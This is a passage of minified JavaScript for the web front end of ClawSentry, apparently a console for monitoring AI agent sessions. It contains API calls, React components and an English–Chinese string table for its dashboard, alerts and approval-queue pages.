0:t.windowSeconds)!==null&&n.set("window_seconds",String(t.windowSeconds)),G(`/report/session/${s}/page${n.toString()?`?${n.toString()}`:""}`)},requestL3FullReview:(s,t)=>G(`/report/session/${s}/l3-advisory/full-review`,{method:"POST",body:JSON.stringify(t??{})}),alerts:async s=>{const t=new URLSearchParams;return s!=null&&s.severity&&t.set("severity",s.severity),(s==null?void 0:s.acknowledged)!==void 0&&t.set("acknowledged",String(s.acknowledged)),s!=null&&s.limit&&t.set("limit",String(s.limit)),(await G(`/report/alerts?${t}`)).alerts??[]},acknowledgeAlert:s=>G(`/report/alerts/${s}/acknowledge`,{method:"POST"}),resolve:(s,t,n)=>G("/ahp/resolve",{method:"POST",body:JSON.stringify({approval_id:s,decision:t,reason:n||""})})};function ea(s){return s instanceof TypeError?!0:s instanceof Error?/failed to fetch|networkerror|load failed|gateway unavailable/i.test(s.message):!1}function sa(){const[s,t]=l.useState(null),[n,i]=l.useState(!1),[r,a]=l.useState(null),o=l.useCallback(async()=>{i(!0),a(null);try{return await q.summary(),t(!0),!0}catch(u){return u instanceof Lt?(t(!1),a("invalid_token"),!1):ea(u)?(t(!1),a("gateway_unavailable"),!1):(t(!0),!0)}finally{i(!1)}},[]),d=l.useCallback(async u=>(Ct(u),await o()),[o]),c=l.useCallback(()=>{Et(),t(!1),a(null)},[]);return{authenticated:s,checking:n,authFailure:r,check:o,login:d,logout:c,hasToken:!!xs()}}const ds={en:{"app.subtitle":"Security Operations Console","app.footer":"Framework / Workspace / Session","topbar.kicker":"Operator Console","nav.dashboard":"Dashboard","nav.sessions":"Sessions","nav.alerts":"Alerts","nav.defer":"DEFER Panel","page.dashboard":"Security Console","page.sessions":"Session Inventory","page.alerts":"Alerts","page.defer":"DEFER Panel","prefs.language":"中文","prefs.theme.dark":"Dark","prefs.theme.light":"Light","prefs.languageLabel":"Switch language","prefs.themeLabel":"Toggle dark theme","status.connected":"CONNECTED","status.disconnected":"DISCONNECTED","status.checking":"CHECKING…","dashboard.hero.kicker":"ClawSentry Command Center","dashboard.hero.title":"Live agent security command center.","dashboard.hero.copy":"Scan sessions, evidence, L3 reviews, token pressure, and runtime events from one focused operator surface.","dashboard.read.kicker":"Read order","dashboard.read.title":"What to inspect first","dashboard.read.copy":"Follow this sequence before scanning secondary metrics: current risk, evidence pressure, then live action queues.","dashboard.read.step1":"1 · Start here","dashboard.read.step2":"2 · Evidence","dashboard.read.step3":"3 · Live stream","dashboard.metric.tracked":"Tracked Sessions","dashboard.metric.highRisk":"High-Risk Sessions","dashboard.metric.evidenceBudget":"Toolkit Evidence Quota","dashboard.metric.blockRate":"Block Rate","dashboard.metric.liveEvents":"Cumulative Trajectory Records","dashboard.step.criticalTitle":"Inspect critical queue","dashboard.step.confirmTitle":"Confirm posture","dashboard.step.criticalBody":"Critical session(s) need review before routine telemetry.","dashboard.step.confirmBody":"No critical session is active; scan high-risk workspaces next.","dashboard.step.evidenceTitle":"Open evidence-budget queue","dashboard.step.l3Title":"Check L3 evidence","dashboard.step.evidenceBody":"Session(s) exhausted toolkit evidence budget.","dashboard.step.l3Body":"Use SessionDetail to inspect replay, advisory status, and evidence boundaries.","dashboard.step.liveTitle":"Watch action-needed events","dashboard.step.liveBody":"Use the live operations stream for DEFER, L3 advisory, budget, and enforcement changes.","dashboard.panel.current":"Current posture","dashboard.panel.critical":"Critical sessions","dashboard.panel.inspect":"Inspect critical queue","dashboard.panel.highRiskWorkspaces":"High-risk workspaces","dashboard.panel.filterInventory":"Filter inventory","dashboard.panel.gatewayUptime":"Gateway uptime","dashboard.panel.llmUsage":"LLM usage","dashboard.panel.dailyBudget":"Token limit","dashboard.panel.budgetAlert":"Token alert","dashboard.brief.coverage":"Coverage","dashboard.brief.posture":"Posture","dashboard.brief.runtime":"Runtime pulse","dashboard.brief.budget":"Budget pulse","dashboard.brief.sessions":"sessions","dashboard.brief.workspaces":"workspaces","dashboard.brief.frameworks":"frameworks","dashboard.brief.highRisk":"high-risk","dashboard.brief.critical":"critical sessions","dashboard.posture.title":"System security posture","dashboard.posture.score":"Posture score","dashboard.posture.control":"Control health","dashboard.posture.velocity":"Risk velocity","dashboard.posture.density":"density","dashboard.tokenUsageUnavailable":"Usage snapshot unavailable","dashboard.operatorAttention":"Operator attention required","dashboard.openEvidenceQueue":"Open evidence queue","dashboard.frameworkCoverage":"Framework coverage","dashboard.openSessionInventory":"Open session inventory","dashboard.workspaceRiskBoard":"Workspace risk board","dashboard.prioritySessions":"Priority sessions","dashboard.reviewHighRiskQueue":"Review high-risk queue","dashboard.evidenceHotspots":"Toolkit evidence quota hotspots","dashboard.noFrameworkActivity":"No framework activity yet.","dashboard.noWorkspaceTelemetry":"No workspace telemetry yet.","dashboard.noPrioritySessions":"No active sessions to prioritize.","dashboard.noEvidenceHotspots":"No sessions are currently hitting toolkit evidence quota.","dashboard.evidenceHotspotMetric":"Sessions currently hitting toolkit evidence quota","dashboard.toolkitExhausted":"Toolkit evidence quota exhausted","common.sessions":"sessions","common.workspaces":"workspaces","common.events":"events","common.highRisk":"high-risk","common.latest":"Latest","common.unavailable":"Unavailable","common.yes":"yes","common.no":"no","alerts.hero.kicker":"Incident Operations","alerts.hero.title":"Alerts Workbench","alerts.hero.copy":"Triage threshold breaches and monitor signals. If this page says the source is unavailable, the gateway alert endpoint is not connected.","alerts.overview.kicker":"Overview","alerts.overview.title":"Alert posture","alerts.filters.kicker":"Filters","alerts.filters.title":"Triage controls","alerts.queue.kicker":"Queue","alerts.queue.title":"Alerts triage queue","alerts.empty.title":"No alerts match the current filters","alerts.empty.subtitle":"This means no threshold breaches are currently returned for this severity/status view. Live alerts will appear here when the gateway emits them.","alerts.error.title":"Alerts source unavailable","alerts.error.subtitle":"The gateway alerts endpoint could not be reached. Start the ClawSentry gateway or refresh after the backend reconnects; this is different from an empty alert queue.","common.refresh":"Refresh","common.loading":"Loading…","common.all":"All","common.clearFilters":"Clear filters","common.showcase":"Showcase mode","countdown.expired":"EXPIRED","runtime.title":"Live Activity Feed","runtime.demo":"Showcase stream · demo event language","runtime.normal":"Operations stream · action-first event language","runtime.actionNeeded":"action-needed","runtime.buffered":"buffered","runtime.hiddenByCap":"hidden by cap","runtime.type":"Type","runtime.allEvents":"All events","runtime.highPriorityOnly":"High priority only","runtime.resume":"Resume feed","runtime.pause":"Pause feed","runtime.waitingTitle":"Waiting for activity","runtime.waitingConnected":"Decisions, alerts, enforcement, defer actions, and pattern evolution events will appear here","runtime.waitingConnecting":"Establishing connection to gateway...","runtime.noMatchTitle":"No events match current filters","runtime.noMatchSubtitle":"Adjust the event type filter or disable high priority only to widen the feed.","sessions.workbench":"Workbench","sessions.filters":"Session filters","sessions.subtitle":"Search, framework, risk, and evidence controls stay above the inventory so dense session rows remain easy to scan.","sessions.search":"Search sessions","sessions.searchPlaceholder":"Search session, framework, workspace, agent","sessions.frameworkFilter":"Framework filter","sessions.allFrameworks":"All Frameworks","sessions.riskFilter":"Risk filter","sessions.allRisk":"All Risk Levels","sessions.mediumPlus":"Medium+","sessions.highPlus":"High+","sessions.criticalOnly":"Critical Only","sessions.actionFilter":"Action filter","sessions.allActions":"All action states","sessions.highRiskActivity":"High-risk activity","sessions.deferApprovals":"DEFER approvals","sessions.l3Attention":"L3 attention","sessions.budgetEvidence":"Evidence quota","sessions.budgetOnly":"Evidence quota exhausted only","sessions.groupedCopy":"Grouped by framework and workspace so concurrent agent sessions stay distinguishable.","sessions.inventoryCopy":"Frameworks stay stacked by workspace and session so the working set remains high-density without collapsing the detail.","sessions.framework":"Framework","sessions.sessionCount":"Sessions","sessions.workspaceCount":"Workspaces","sessions.highRiskCount":"High risk","sessions.eventCount":"Events","sessions.adapterUnavailable":"adapter n/a","sessions.unknownAgent":"unknown agent","sessions.latestScore":"Latest","sessions.ewma":"EWMA","sessions.postActionScore":"Post-action","sessions.velocity":"Velocity","sessions.density":"Density","sessions.overview":"Overview","sessions.frameworkOverview":"Framework Overview","sessions.inventory":"Inventory","sessions.sessionInventory":"Session inventory","sessions.noSessionsTitle":"No sessions found","sessions.noSessionsSubtitle":"Sessions will appear here once frameworks start sending monitored activity.","defer.hero.kicker":"Operator Approval Queue","defer.hero.title":"Defer Approvals","defer.hero.copy":"Review pending approvals with due-time pressure, operator actions, and approval outcomes in one queue surface.","defer.pending":"pending","defer.resolveConnected":"Resolve endpoint connected","defer.resolveUnavailable":"Resolve endpoint unavailable","defer.overview":"Overview","defer.posture":"Queue posture","defer.pendingQueue":"Pending queue","defer.pendingQueueTitle":"Pending approvals queue","defer.history":"History","defer.historyTitle":"Approval outcomes history","defer.noPendingTitle":"No pending DEFER decisions","defer.noPendingSubtitle":"DEFER decisions will appear here in real-time when agents require approval","defer.noOutcomesTitle":"No approval outcomes yet","defer.noOutcomesSubtitle":"Operator decisions and timed-out requests will appear here once approvals leave the queue","defer.allow":"Allow","defer.deny":"Deny","defer.noTimeout":"No timeout","session.back":"Back to session inventory","session.detail":"Session detail","session.analysis":"Analysis","session.analysisTitle":"Session analysis","session.analysisMeta":"Risk posture, charts, evidence, and replay","session.fullReviewRunner":"Full-review runner","session.fullReviewQueueOnly":"Queue only (do not run now)","session.requestReview":"Request L3 full review","session.requestingReview":"Requesting L3 full review…","session.workbench":"Investigation workbench","session.storyline":"Incident storyline","session.operatorRecommendation":"Operator recommendation","session.latestDecision":"Latest replay decision","session.evidenceBoundary":"Evidence boundary","session.currentPosture":"Current posture","session.riskComposition":"Risk composition","session.riskTimeline":"Risk score over time","session.decisionTimeline":"Decision timeline","session.context":"Context","session.contextTitle":"Session context","session.priorityView":"Priority view","session.analysisSummary":"Analysis summary","session.currentRisk":"Current risk","session.latestComposite":"Latest composite score","session.cumulativeScore":"Cumulative score","session.sessionRiskEwma":"Session risk EWMA","session.riskVelocity":"Risk velocity","session.windowRiskSummary":"Window risk summary","session.highRiskEvents":"High-risk events","session.trackedEvents":"Tracked events","session.firstEvent":"First event","session.lastEvent":"Last event","session.advisoryOnly":"Advisory-only","session.l3Review":"L3 advisory review","session.l3ReviewMeta":"Frozen evidence review, never a canonical decision rewrite","session.reviewState":"Review state","session.reviewId":"Review ID","session.snapshotId":"Snapshot ID","session.jobId":"Job ID","session.advisoryRisk":"Advisory risk","session.operatorAction":"Operator action","session.reviewRunner":"Review runner","session.canonicalUnchanged":"Canonical decision unchanged. Advisory-only review output is attached to the frozen snapshot.","session.noL3Review":"No L3 advisory review has been attached to this session yet. Use the full-review action to freeze evidence and run a deterministic advisory pass.","session.narrativeAnalysis":"Natural-language analysis","session.analysisPoints":"Analysis points","session.nextSteps":"Next steps","session.dimensions":"Dimensions","session.noDimensionData":"No dimension data yet.","session.timeline":"Timeline","session.noTimelineData":"No timeline data yet.","session.replay":"Replay","session.newestFirst":"Newest first","session.loadOlder":"Load older","session.loadingOlder":"Loading older…","session.noTrajectory":"No trajectory records yet.","session.tokenGovernance":"Token governance","session.tokenUsage":"Token usage","session.tokenExhaustionEvent":"Token exhaustion event","session.identityMeta":"Workspace identity and recording metadata","session.identity":"Identity","session.workspaceContext":"Workspace context","session.workspaceRoot":"Workspace root","session.transcriptPath":"Transcript path","session.metadata":"Metadata","session.provenance":"Session provenance","llm.kicker":"LLM telemetry","llm.title":"LLM usage drill-down","llm.snapshotUnavailable":"Snapshot unavailable","llm.empty":"No LLM usage snapshot available.","llm.totalCalls":"Total calls","llm.totalTokens":"Total tokens","llm.tokenMix":"Token mix","llm.topProviders":"Top providers","llm.topTiers":"Top tiers","llm.topStatuses":"Top statuses","llm.highlighted":"highlighted","llm.noEntries":"No entries","llm.calls":"calls","llm.in":"in","llm.out":"out","risk.low":"low","risk.medium":"medium","risk.high":"high","risk.critical":"critical","decision.allow":"allow","decision.block":"block","decision.defer":"defer","decision.modify":"modify"},zh:{"app.subtitle":"安全运营控制台","app.footer":"框架 / 工作区 / 会话","topbar.kicker":"操作员控制台","nav.dashboard":"仪表盘","nav.sessions":"会话","nav.alerts":"告警","nav.defer":"DEFER 审批","page.dashboard":"安全控制台","page.sessions":"会话清单","page.alerts":"告警","page.defer":"DEFER 审批","prefs.language":"EN","prefs.theme.dark":"暗色","prefs.theme.light":"亮色","prefs.languageLabel":"切换语言","prefs.themeLabel":"切换暗色主题","status.connected":"已连接","status.disconnected":"已断开","status.checking":"检查中…","dashboard.hero.kicker":"ClawSentry 指挥中心","dashboard.hero.title":"实时 Agent 安全指挥中心。","dashboard.hero.copy":"在一个聚焦的操作台里查看会话、证据、L3 复核、Token 压力和运行时事件。","dashboard.read.kicker":"阅读顺序","dashboard.read.title":"先看什么","dashboard.read.copy":"先按这个顺序判断局势：当前风险、证据压力、实时动作队列，然后再看次要指标。","dashboard.read.step1":"1 · 从这里开始","dashboard.read.step2":"2 · 证据","dashboard.read.step3":"3 · 实时流","dashboard.metric.tracked":"已跟踪会话","dashboard.metric.highRisk":"高风险会话","dashboard.metric.evidenceBudget":"工具证据额度","dashboard.metric.blockRate":"阻断率","dashboard.metric.liveEvents":"累计轨迹记录","dashboard.step.criticalTitle":"查看关键队列","dashboard.step.confirmTitle":"确认整体态势","dashboard.step.criticalBody":"关键会话需要先于常规遥测处理。","dashboard.step.confirmBody":"当前没有关键会话；下一步查看高风险工作区。","dashboard.step.evidenceTitle":"打开证据预算队列","dashboard.step.l3Title":"检查 L3 证据","dashboard.step.evidenceBody":"会话已经耗尽工具证据预算。","dashboard.step.l3Body":"进入会话详情查看回放、咨询状态和证据边界。","dashboard.step.liveTitle":"观察待处理事件","dashboard.step.liveBody":"通过实时运行流查看 DEFER、L3 咨询、预算和执行状态变化。","dashboard.panel.current":"当前态势","dashboard.panel.critical":"关键会话","dashboard.panel.inspect":"查看关键队列","dashboard.panel.highRiskWorkspaces":"高风险工作区","dashboard.panel.filterInventory":"筛选清单","dashboard.panel.gatewayUptime":"Gateway 运行时间","dashboard.panel.llmUsage":"LLM 用量","dashboard.panel.dailyBudget":"Token 上限","dashboard.panel.budgetAlert":"Token 告警","dashboard.brief.coverage":"覆盖","dashboard.brief.posture":"态势","dashboard.brief.runtime":"运行脉冲","dashboard.brief.budget":"预算脉冲","dashboard.brief.sessions":"会话","dashboard.brief.workspaces":"工作区","dashboard.brief.frameworks":"框架","dashboard.brief.highRisk":"高风险","dashboard.brief.critical":"关键会话","dashboard.posture.title":"系统安全态势","dashboard.posture.score":"态势分","dashboard.posture.control":"控制健康","dashboard.posture.velocity":"风险速度","dashboard.posture.density":"密度","dashboard.tokenUsageUnavailable":"用量快照不可用","dashboard.operatorAttention":"需要操作员关注","dashboard.openEvidenceQueue":"打开证据队列","dashboard.frameworkCoverage":"框架覆盖","dashboard.openSessionInventory":"打开会话清单","dashboard.workspaceRiskBoard":"工作区风险板","dashboard.prioritySessions":"优先会话","dashboard.reviewHighRiskQueue":"查看高风险队列","dashboard.evidenceHotspots":"工具证据额度热点","dashboard.noFrameworkActivity":"暂无框架活动。","dashboard.noWorkspaceTelemetry":"暂无工作区遥测。","dashboard.noPrioritySessions":"暂无需要优先处理的活动会话。","dashboard.noEvidenceHotspots":"当前没有会话触达工具证据额度。","dashboard.evidenceHotspotMetric":"当前触达工具证据额度的会话","dashboard.toolkitExhausted":"工具证据额度已耗尽","common.sessions":"会话","common.workspaces":"工作区","common.events":"事件","common.highRisk":"高风险","common.latest":"最新","common.unavailable":"不可用","common.yes":"是","common.no":"否","alerts.hero.kicker":"事件运营","alerts.hero.title":"告警工作台","alerts.hero.copy":"处理阈值突破和监控信号。如果本页显示数据源不可用，说明 gateway 的告警接口尚未连接。","alerts.overview.kicker":"概览","alerts.overview.title":"告警态势","alerts.filters.kicker":"筛选","alerts.filters.title":"分诊控制","alerts.queue.kicker":"队列","alerts.queue.title":"告警分诊队列","alerts.empty.title":"当前筛选条件下没有告警","alerts.empty.subtitle":"这表示当前严重度/状态视图没有返回阈值突破；当 gateway 推送实时告警时会显示在这里。","alerts.error.title":"告警数据源不可用","alerts.error.subtitle":"无法连接 gateway 告警接口。请启动 ClawSentry gateway，或在后端恢复后刷新；这不同于“告警队列为空”。","common.refresh":"刷新","common.loading":"加载中…","common.all":"全部","common.clearFilters":"清除筛选","common.showcase":"演示模式","countdown.expired":"已过期","runtime.title":"实时活动流","runtime.demo":"演示流 · 示例事件语言","runtime.normal":"运行流 · 动作优先事件语言","runtime.actionNeeded":"待处理","runtime.buffered":"已缓冲","runtime.hiddenByCap":"因上限隐藏","runtime.type":"类型","runtime.allEvents":"全部事件","runtime.highPriorityOnly":"仅高优先级","runtime.resume":"恢复流","runtime.pause":"暂停流","runtime.waitingTitle":"等待活动","runtime.waitingConnected":"决策、告警、执行、DEFER 和模式演进事件会显示在这里","runtime.waitingConnecting":"正在连接 gateway…","runtime.noMatchTitle":"没有事件符合当前筛选","runtime.noMatchSubtitle":"调整事件类型筛选，或关闭“仅高优先级”以扩大范围。","sessions.workbench":"工作台","sessions.filters":"会话筛选","sessions.subtitle":"搜索、框架、风险和证据控件固定在清单上方，方便扫描密集会话。","sessions.search":"搜索会话","sessions.searchPlaceholder":"搜索会话、框架、工作区、Agent","sessions.frameworkFilter":"框架筛选","sessions.allFrameworks":"全部框架","sessions.riskFilter":"风险筛选","sessions.allRisk":"全部风险等级","sessions.mediumPlus":"中等以上","sessions.highPlus":"高风险以上","sessions.criticalOnly":"仅关键","sessions.actionFilter":"动作筛选","sessions.allActions":"全部动作状态","sessions.highRiskActivity":"高风险活动","sessions.deferApprovals":"DEFER 审批","sessions.l3Attention":"L3 关注","sessions.budgetEvidence":"证据额度","sessions.budgetOnly":"仅证据额度耗尽","sessions.groupedCopy":"按框架和工作区分组，让并发 Agent 会话保持可区分。","sessions.inventoryCopy":"框架按工作区和会话堆叠，保持工作集高密度，同时不折叠细节。","sessions.framework":"框架","sessions.sessionCount":"会话","sessions.workspaceCount":"工作区","sessions.highRiskCount":"高风险","sessions.eventCount":"事件","sessions.adapterUnavailable":"适配器未知","sessions.unknownAgent":"未知 Agent","sessions.latestScore":"最新","sessions.ewma":"EWMA","sessions.postActionScore":"事后","sessions.velocity":"速度","sessions.density":"密度","sessions.overview":"概览","sessions.frameworkOverview":"框架概览","sessions.inventory":"清单","sessions.sessionInventory":"会话清单","sessions.noSessionsTitle":"没有找到会话","sessions.noSessionsSubtitle":"当框架开始发送受监控活动后，会话会显示在这里。","defer.hero.kicker":"操作员审批队列","defer.hero.title":"DEFER 审批","defer.hero.copy":"在一个队列表面里查看待审批请求、到期压力、操作员动作和审批结果。","defer.pending":"待处理","defer.resolveConnected":"审批接口已连接","defer.resolveUnavailable":"审批接口不可用","defer.overview":"概览","defer.posture":"队列态势","defer.pendingQueue":"待审批队列","defer.pendingQueueTitle":"待处理审批队列","defer.history":"历史","defer.historyTitle":"审批结果历史","defer.noPendingTitle":"没有待处理的 DEFER 决策","defer.noPendingSubtitle":"当 Agent 需要审批时，DEFER 决策会实时显示在这里。","defer.noOutcomesTitle":"暂无审批结果","defer.noOutcomesSubtitle":"审批离开队列后，操作员决策和超时请求会显示在这里。","defer.allow":"允许","defer.deny":"拒绝","defer.noTimeout":"无超时","session.back":"返回会话清单","session.detail":"会话详情","session.analysis":"分析","session.analysisTitle":"会话分析","session.analysisMeta":"风险态势、图表、证据和回放","session.fullReviewRunner":"完整复核运行器","session.fullReviewQueueOnly":"仅排队（暂不执行）","session.requestReview":"请求 L3 完整复核","session.requestingReview":"正在请求 L3 完整复核…","session.workbench":"调查工作台","session.storyline":"事件脉络","session.operatorRecommendation":"操作员建议","session.latestDecision":"最新回放决策","session.evidenceBoundary":"证据边界","session.currentPosture":"当前态势","session.riskComposition":"风险构成","session.riskTimeline":"风险分数趋势","session.decisionTimeline":"决策时间线","session.context":"上下文","session.contextTitle":"会话上下文","session.priorityView":"优先视图","session.analysisSummary":"分析摘要","session.currentRisk":"当前风险","session.latestComposite":"最新综合分","session.cumulativeScore":"累计分","session.sessionRiskEwma":"会话风险 EWMA","session.riskVelocity":"风险速度","session.windowRiskSummary":"窗口风险摘要","session.highRiskEvents":"高风险事件","session.trackedEvents":"已跟踪事件","session.firstEvent":"首次事件","session.lastEvent":"最近事件","session.advisoryOnly":"仅咨询","session.l3Review":"L3 咨询复核","session.l3ReviewMeta":"冻结证据复核，绝不改写 canonical decision","session.reviewState":"复核状态","session.reviewId":"复核 ID","session.snapshotId":"快照 ID","session.jobId":"任务 ID","session.advisoryRisk":"咨询风险","session.operatorAction":"操作员动作","session.reviewRunner":"复核运行器","session.canonicalUnchanged":"Canonical decision 未改变。仅咨询复核结果已附加到冻结快照。","session.noL3Review":"此会话尚未附加 L3 咨询复核。可使用完整复核动作冻结证据并运行确定性咨询。","session.narrativeAnalysis":"自然语言分析","session.analysisPoints":"分析要点","session.nextSteps":"下一步","session.dimensions":"维度","session.noDimensionData":"暂无维度数据。","session.timeline":"时间线","session.noTimelineData":"暂无时间线数据。","session.replay":"回放","session.newestFirst":"最新在前","session.loadOlder":"加载更早","session.loadingOlder":"正在加载更早记录…","session.noTrajectory":"暂无轨迹记录。","session.tokenGovernance":"Token 治理","session.tokenUsage":"Token 用量","session.tokenExhaustionEvent":"Token 耗尽事件","session.identityMeta":"工作区身份和记录元数据","session.identity":"身份","session.workspaceContext":"工作区上下文","session.workspaceRoot":"工作区根目录","session.transcriptPath":"转录路径","session.metadata":"元数据","session.provenance":"会话来源","llm.kicker":"LLM 遥测","llm.title":"LLM 用量细分","llm.snapshotUnavailable":"快照不可用","llm.empty":"暂无 LLM 用量快照。","llm.totalCalls":"总调用数","llm.totalTokens":"总 token","llm.tokenMix":"Token 构成","llm.topProviders":"主要提供商","llm.topTiers":"主要层级","llm.topStatuses":"主要状态","llm.highlighted":"项高亮","llm.noEntries":"暂无条目","llm.calls":"次调用","llm.in":"输入","llm.out":"输出","risk.low":"低","risk.medium":"中","risk.high":"高","risk.critical":"关键","decision.allow":"允许","decision.block":"阻断","decision.defer":"延迟审批","decision.modify":"修改"}},$t="clawsentry.language",At="clawsentry.theme",Pt=l.createContext(null);function ta(){return typeof window>"u"?"en":window.localStorage.getItem($t)==="zh"?"zh":"en"}function na(){return typeof window>"u"?"dark":window.localStorage.getItem(At)==="light"?"light":"dark"}function ia({children:s}){const[t,n]=l.useState(ta),[i,r]=l.useState(na),a=c=>{n(c),window.localStorage.setItem($t,c)},o=c=>{r(c),window.localStorage.setItem(At,c)};l.useEffect(()=>{document.documentElement.lang=t==="zh"?"zh-CN":"en"},[t]),l.useEffect(()=>{document.documentElement.dataset.theme=i,document.documentElement.style.colorScheme=i},[i]);const d=l.useMemo(()=>({language:t,setLanguage:a,theme:i,setTheme:o,toggleLanguage:()=>a(t==="zh"?"en":"zh"),toggleTheme:()=>o(i==="dark"?"light":"dark"),t:c=>ds[t][c]??ds.en[c]??c}),[t,i]);return e.jsx(Pt.Provider,{value:d,children:s})}function W(){return l.useContext(Pt)??{language:"en",setLanguage:()=>{},theme:"dark",setTheme:()=>{},toggleLanguage:()=>{},toggleTheme:()=>{},t:t=>ds.en[t]??t}}function aa(s){return new Intl.NumberFormat(s==="zh"?"zh-CN":"en-US")}function Ee(s){return(s.input_tokens||0)+(s.output_tokens||0)}function se(s,t="en"){return typeof s!="number"||!Number.isFinite(s)?t==="zh"?"未知":"unknown":aa(t).format(s)}function We(s,t,n="en"){const i=n==="zh"?"输入":"in",r=n==="zh"?"输出":"out";return`${se(s,n)} ${i} / ${se(t,n)} ${r}`}function Xe(s){const t=Object.entries(s).sort(([n,i],[r,a])=>Ee(a)-Ee(i)||a.calls-i.calls||n.localeCompare(r))[0];return(t==null?void 0:t[0])??null}function zt(s,t="en"){const n=s.total_input_tokens+s.total_output_tokens,i=[Xe(s.by_provider),Xe(s.by_tier),Xe(s.by_status)].filter(Boolean).join("/"),r=t==="zh"?"次调用":"calls",a=t==="zh"?"总 token":"total tokens";return[`LLM ${se(s.total_calls,t)} ${r}`,`${se(n,t)} ${a}`,We(s.total_input_tokens,s.total_output_tokens,t),i].filter(Boolean).join(" · ")}function ra(s,t="en"){switch(s){case"input":return t==="zh"?"输入":"input";case"output":return t==="zh"?"输出":"output";default:return t==="zh"?"总量":"total"}}function He(s,t="en"){if(!s)return t==="zh"?"Token 快照不可用":"Token snapshot unavailable";const n=s.used_input_tokens??0,i=s.used_output_tokens??0,r=s.used_total_tokens??n+i,a=[`${se(r,t)} ${t==="zh"?"总 token":"total tokens"}`,We(n,i,t)];return s.enabled&&typeof s.limit_tokens=="number"&&s.limit_tokens>0?(a.push(`${t==="zh"?"上限":"limit"} ${se(s.limit_tokens,t)} ${ra(s.scope,t)}`),a.push(`${t==="zh"?"剩余":"remaining"} ${s.remaining_tokens===null?t==="zh"?"不限":"unlimited":se(s.remaining_tokens,t)}`)):a.push(t==="zh"?"Token 上限未启用 / 不限":"token limit disabled / unlimited"),a.push(s.exhausted?t==="zh"?"已耗尽":"exhausted":t==="zh"?"可用":"active"),a.join(" · ")}function oa(s){return s<60?`${Math.floor(s)}s`:s<3600?`${Math.floor(s/60)}m`:s<86400?`${Math.floor(s/3600)}h ${Math.floor(s%3600/60)}m`:`${Math.floor(s/86400)}d ${Math.floor(s%86400/3600)}h`}function la(){const{t:s,language:t}=W(),[n,i]=l.useState(null),[r,a]=l.useState("checking"),o=n==null?void 0:n.budget_exhaustion_event,d=n!=null&&n.llm_usage_snapshot?zt(n.llm_usage_snapshot,t):null;return l.useEffect(()=>{const c=async()=>{try{const v=await q.health();i(v),a("online")}catch{a("offline"),i(null)}};c();const u=setInterval(c,3e4);return()=>clearInterval(u)},[]),e.jsxs("div",{className:"statusbar",children:[n&&r==="online"&&e.jsxs("span",{className:"status-summary text-muted mono",children:[oa(n.uptime_seconds)," uptime · ",n.trajectory_count.toLocaleString()," events",d&&e.jsxs(e.Fragment,{children:[" ","· ",d]})," ","· ",He(n.budget,t)," ·"," ",n.budget.exhausted?e.jsxs(e.Fragment,{children:[e.jsx("span",{className:"status-budget-exhausted",children:t==="zh"?"TOKEN 已耗尽":"TOKEN EXHAUSTED"}),e.jsxs("span",{className:"status-budget-note",children:[" · ",t==="zh"?"需要操作员处理":"Operator action required"]}),o&&e.jsxs("span",{className:"status-budget-note",children:[" ","· ",o.provider," / ",o.tier]})]}):t==="zh"?"可用":"Active"]}),e.jsx("span",{className:`status-pill status-pill-${r}`,"aria-label":"Gateway connection status",role:"status","aria-live":"polite","aria-atomic":"true",children:s(r==="online"?"status.connected":r==="offline"?"status.disconnected":"status.checking")})]})}class ca extends l.Component{constructor(){super(...arguments);Ke(this,"state",{error:null})}static getDerivedStateFromError(n){return{error:n}}componentDidCatch(n,i){console.error("[ClawSentry UI]",n,i.componentStack)}render(){return this.state.error?e.jsxs("div",{className:"error-boundary",children:[e.jsx("h3",{className:"error-boundary-title",children:"Page Error"}),e.jsx("pre",{className:"error-boundary-message",children:this.state.error.message}),e.jsx("button",{className:"btn",onClick:()=>this.setState({error:null}),children:"Dismiss"})]}):this.props.children}}const da=[{to:"/",icon:fn,labelKey:"nav.dashboard"},{to:"/sessions",icon:is,labelKey:"nav.sessions"},{to:"/alerts",icon:Se,labelKey:"nav.alerts"},{to:"/defer",icon:he,labelKey:"nav.defer"}],ha={"/":"page.dashboard","/sessions":"page.sessions","/alerts":"page.alerts","/defer":"page.defer"};function ua(){var c;const s=ce(),{language:t,theme:n,toggleLanguage:i,toggleTheme:r,t:a}=W(),o=((c=Object.entries(ha).sort(([u],[v])=>v.length-u.length).find(([u])=>s.pathname.startsWith(u)))==null?void 0:c[1])??"page.dashboard",d=a(o);return e.jsxs("div",{className:"app-layout",children:[e.jsxs("aside",{className:"sidebar",children:[e.jsxs("div",{className:"sidebar-header",children:[e.jsxs("div",{className:"sidebar-brand-row",children:[e.jsx("div",{className:"sidebar-logo",children:"ClawSentry"}),e.jsx("span",{className:"sidebar-signal","aria-hidden":"true",children:e.jsx(mt,{size:15})})]}),e.jsx("div",{className:"subtitle",children:a("app.subtitle")}),e.jsxs("div",{className:"sidebar-command-strip","aria-hidden":"true",children:[e.jsx("span",{}),e.jsx("span",{}),e.jsx("span",{})]})]}),e.jsxs("nav",{className:"sidebar-nav","aria-label":"Primary",children:[e.jsx("div",{className:"sidebar-nav-label",children:"Console"}),da.map(({to:u,icon:v,labelKey:m})=>e.jsxs(Ji,{to:u,end:u==="/",className:({isActive:j})=>`nav-link${j?" active":""}`,children:[e.jsx(v,{}),a(m)]},u))]}),e.jsxs("div",{className:"sidebar-footer",children:[e.jsx("span",{className:"sidebar-footer-label",children:a("app.footer")}),e.jsx("span",{className:"sidebar-footer-state",children:"HARDENED · LIVE"})]})]}),e.jsxs("section",{className:"main-content",children:[e.jsxs("header",{className:"topbar",role:"banner",children:[e.jsxs("div",{className:"topbar-heading",children:[e.jsx("p",{className:"topbar-kicker",children:a("topbar.kicker")}),e.jsx("span",{className:"topbar-title",children:d})]}),e.jsxs("div",{className:"preference-controls","aria-label":"Display preferences",children:[e.jsx("button",{type:"button",className:"preference-toggle",onClick:i,"aria-label":a("prefs.languageLabel"),children:a("prefs.language")}),e.jsx("button",{type:"button",className:"preference-toggle",onClick:r,"aria-label":a("prefs.themeLabel"),"aria-pressed":n==="dark",children:a(n==="dark"?"prefs.theme.light":"prefs.theme.dark")}),e.jsxs("span",{className:"preference-state mono",children:[t.toUpperCase()," · ",n.toUpperCase()]})]}),e.jsx(la,{})]}),e.jsx("main",{className:"page-content fade-in",role:"main",children:e.jsx(ca,{children:e.jsx(Oi,{})})})]})]})}function ma(s){return s==="invalid_token"?"Token was rejected (401). Paste the exact CS_AUTH_TOKEN value printed by clawsentry start or stored in .env.clawsentry.":s==="gateway_unavailable"?"Gateway is unavailable. This is not a bad token; start the Gateway or check host/port/proxy settings, then retry.":null}function 